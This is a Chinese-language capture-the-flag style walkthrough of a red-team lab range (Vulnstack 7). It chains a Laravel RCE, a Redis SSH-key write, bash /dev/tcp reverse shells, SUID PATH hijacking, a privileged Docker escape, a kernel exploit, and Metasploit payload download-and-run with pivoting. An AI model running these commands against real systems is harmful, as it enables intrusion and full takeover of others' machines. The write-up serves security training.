ATT&CK实战系列——红队实战（七）

一、环境搭建

靶机下载地址 http://vulnstack.qiyuanxuetang.net/vuln/detail/9/ 假设渗透的目标客户只给出了一个域名 www.whopen.com，我们要在黑盒的情况下对目标网络进行渗透，最终需要拿下域控制器权限

按照下载地址的说明配置网络环境和服务，打不开的主机点击虚拟机->管理->更改硬件兼容性

• DMZ区域

Ubuntu（Web 1）配置了两个网卡，一个桥接可以对外提供服务，IP段设为 192.168.43.0/24，一个连接在 VMnet8 上，设为NAT模式，IP段设为 192.168.52.0/24 连通第二层网络

• 第二层网络区域

Ubuntu（Web 2）和 Windows 7（PC 1）都配置了两个网卡，一个连接在 VMnet8 上连通第二层网络，一个连接在 VMnet14 上，设为仅主机模式，IP段设为 192.168.93.0/24 连通第三层网络

• 第三层网络区域

Windows Server 2012 和 Windows 7（PC 2）都只配置了一个网卡，连接在 VMnet14 上连通第三层网络

二、漏洞利用

2.1CVE-2021-3129

www.whopen.com 域名对应的 ip 地址为 192.168.43.229，直接访问发现是一个博客页面

对目标 ip 进行端口扫描，开放 22，80，81，6379 端口

nmap -sV -T4 192.168.43.229 -p 1-65535

81 端口是 Laravel v8.29.0（一个简洁、开源的 PHP Web 开发框架）

这个版本有远程代码执行漏洞，可以这里直接使用工具 getshell，工具下载地址 https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

哥斯拉 v2.92 成功连接（v3.03 不知道什么原因连接不上，显示初始化失败），但是无法反弹 shell，先尝试从其他地方入手

2.2redis未授权访问

端口扫描时发现该机器开着 6379 端口，尝试 redis 未授权访问漏洞

#安装
wget http://download.redis.io/redis-stable.tar.gz
tar xvzf redis-stable.tar.gz
cd redis-stable
make
sudo cp src/redis-cli /usr/local/bin/
#连接
redis-cli -h 192.168.43.229

尝试写入 ssh 公钥

#生成公钥
ssh-keygen -t rsa
#将公钥导入1.txt文件
(echo -e "

"; cat /root/.ssh/id_rsa.pub; echo -e "

") > 1.txt 
#把1.txt文件内容写入目标主机的redis缓冲中
cat 1.txt | redis-cli -h 192.168.43.229 -p 6379 -x set hello

config set dir /root/.ssh                #设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys    #设置保存文件名为authorized_keys
save                                     #将数据保存在目标服务器硬盘上
ssh 192.168.213.188                      #连接                    

成功连接 192.168.43.229 后，进行信息搜集发现了这台主机的内网 ip 地址 192.168.52.10

因为 Laravel 的 shell 反弹不了，所以查看 nginx 的配置文件，发现了 nginx 反向代理的标志 proxy_pass。ubuntu 18（192.168.52.10）服务器上的 nginx 将 81 端口收到的请求转发给了 192.168.52.20，将 80 端口收到的请求转发给了 http://whoamianony.top

所以 81 端口的 shell 反弹不到攻击机，只能使用 ubuntu 18（192.168.52.10）做为跳板机，先将 Laravel 的 shell（192.168.52.20）反弹到 ubuntu 18

nc -lvp 1234
bash -c 'exec bash -i >& /dev/tcp/192.168.52.10/1234 0>&1'

 

2.3linux环境变量提权

当前用户为 www-data，所以尝试提权（可能是 docker 环境的原因，内核提权失败），枚举具有SUID权限的所有二进制文件，发现 /home/jobs/shell 文件比较特别

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null

demo.c 应该是 shell 文件的源码，该脚本执行了 ps 命令且并未使用绝对路径

那么尝试更改$PATH来执行恶意程序，从而获得目标主机的 root 权限 shell

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH 
export PATH=/tmp:$PATH #将/tmp添加到环境变量中，并且先加载执行/tmp里的程序
cd /home/jobs
./shell

2.4docker特权模式逃逸

• 特权模式于版本 0.6 时被引入 docker，允许容器内的 root 拥有外部物理机 root 权限，而此前容器内 root 用户仅拥有外部物理机普通用户权限
• 使用特权模式启动容器，可以获取大量设备文件访问权限。因为当管理员执行 docker run —privileged 时，docker 容器将被允许访问主机上的所有设备，并可以执行 mount 命令进行挂载
• 当控制使用特权模式启动的容器时，docker 管理员可通过 mount 命令将外部宿主机磁盘设备挂载进容器内部，获取对整个宿主机的文件读写权限，此外还可以通过写入计划任务等方式在宿主机执行命令

把 Laravel 的高权限 shell（192.168.52.20）再反弹到 ubuntu 18（192.168.52.10）中，看到主机名有点奇怪，测试一下发现 shell 运行在 docker 容器中，所以要进行 docker 逃逸

nc -lvp 4321
bash -c 'exec bash -i >& /dev/tcp/192.168.52.10/4321 0>&1'
hostname
cat /proc/self/cgroup

首先查看一下磁盘文件和设备文件，发现有三个磁盘文件和很多个设备文件，将 /dev/sda1 挂载到自己创建的文件夹

fdisk -l     #查看磁盘文件
ls /dev      #查看设备文件
cd /
mkdir hello
mount /dev/sda1 /hello
ls /hello

挂载成功了，查看 home 目录有 ubuntu 用户

接下来生成自己的 ssh 密钥（192.168.52.10）

 

将密钥写入到 /hello/home/ubuntu/.ssh 目录中的 authorized_keys 文件中，写入成功之后就可以使用该密钥登陆该机器（192.168.52.20）

cp -avx /hello/home/ubuntu/.ssh/id_rsa.pub /hello/home/ubuntu/.ssh/authorized_keys  #-avx将权限也一起复制
echo > /hello/home/ubuntu/.ssh/authorized_keys 　　　　　　                           #清空authorized_keys文件
echo '生成的.pub文件的内容即hello.pub' > /hello/home/ubuntu/.ssh/authorized_keys       #将ssh秘钥写入authorized_keys文件
cat /hello/home/ubuntu/.ssh/authorized_keys                                         #查看是否写入成功

 

成功在 ubuntu 18（192.168.52.10）登录 192.168.52.20 服务器，搜集信息发现这台机器还存在 192.168.93.0/24 网段

ssh -i hello ubuntu@192.168.52.20   #指定本地密钥登录

2.5CVE-2021-3493

当前登录用户是 ubuntu，查看系统信息，发现服务器在 cve-2021-3493 内核提权漏洞影响版本内，漏洞利用 exp 下载地址：https://github.com/briskets/CVE-2021-3493

漏洞影响版本：

• Ubuntu 20.10
• Ubuntu 20.04 LTS
• Ubuntu 18.04 LTS
• Ubuntu 16.04 LTS
• Ubuntu 14.04 ESM

编译运行 exp 提权

cd /tmp
vim exploit.c             #将下载的exploit.c内容粘贴到该文件中
gcc exploit.c -o exploit
chmod +x exploit
./exploit

三、内网渗透

3.1metasploit上线

接下来将 192.168.52.10 和 192.168.52.20 两台服务器上线 msf 进行内网渗透，首先使用 msf 的 web_delivery 模块使 192.168.52.10 服务器上线

use exploit/multi/script/web_delivery
show targets
set target 6　　 　　　　　　　　　　　　　　　　#Linux
show payloads
set payload 7　　　　　　　　　　　　　　　　　　#linux/x64/meterpreter/reverse_tcp
set lhost 192.168.43.203
run

先给这台服务器添加 192.168.52.0/24 网段的路由，再生成一个木马并上传。在这台服务器上使用 python3 开启一个临时 http 服务供木马远程下载，再令 192.168.52.20 服务器访问 192.168.52.10 的 http 服务，下载并运行此木马，192.168.52.20 服务器成功上线

#meterpreter终端
run autoroute -s 192.168.52.0/24　　　　　　　　　　　　　　　　　　　　　　　　　　　　#添加路由
run autoroute -p
background
msfvenom -p linux/x64/meterpreter/reverse_tcp lport=5555 -f elf -o shell.elf　 #生成木马
sessions 1
upload /home/kali/shell.elf /tmp/shell.elf 　　　　　　　　　　　　　　　　　　　　　 #上传木马
background
use exploit/multi/handler　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.43.203
set lport 5555
run
#192.168.52.10终端
python3 -m http.server　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　
#192.168.52.20终端
wget http://192.168.52.10:8000/shell.elf;chmod +x shell.elf;./shell.elf  

3.2内网存活主机扫描

首先扫描一下第二层网络（192.168.52.0/24）是否有存活 windows 主机

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.52.1-255
set threads 5
run

发现第二层网络中还有一个 ip 为 192.168.52.30 的主机，挂 socks4 代理，进一步扫描该主机信息

use auxiliary/server/socks4a
set srvport 1080
run
proxychains nmap -sV -T4 192.168.52.30

站在上帝视角来看，这台服务器的 8080 端口有一个通达OA V11.3的，我在这篇博客 https://www.cnblogs.com/wkzb/p/13773055.html 复现过相关的漏洞，这里不再实验了，看了一下 wp 接下来的内网永恒之蓝漏洞和抓密码哈希传递攻击都比较熟悉了，这个靶场就先到这里吧

四、总结

session 断了好多次，重连到绝望，有没有什么方式能稳固一点呢，感谢作者的开源靶场和其他大佬的博客，学到了新知识，给师傅们鞠躬

参考文章：

https://www.freebuf.com/articles/network/264560.html

https://xz.aliyun.com/t/9574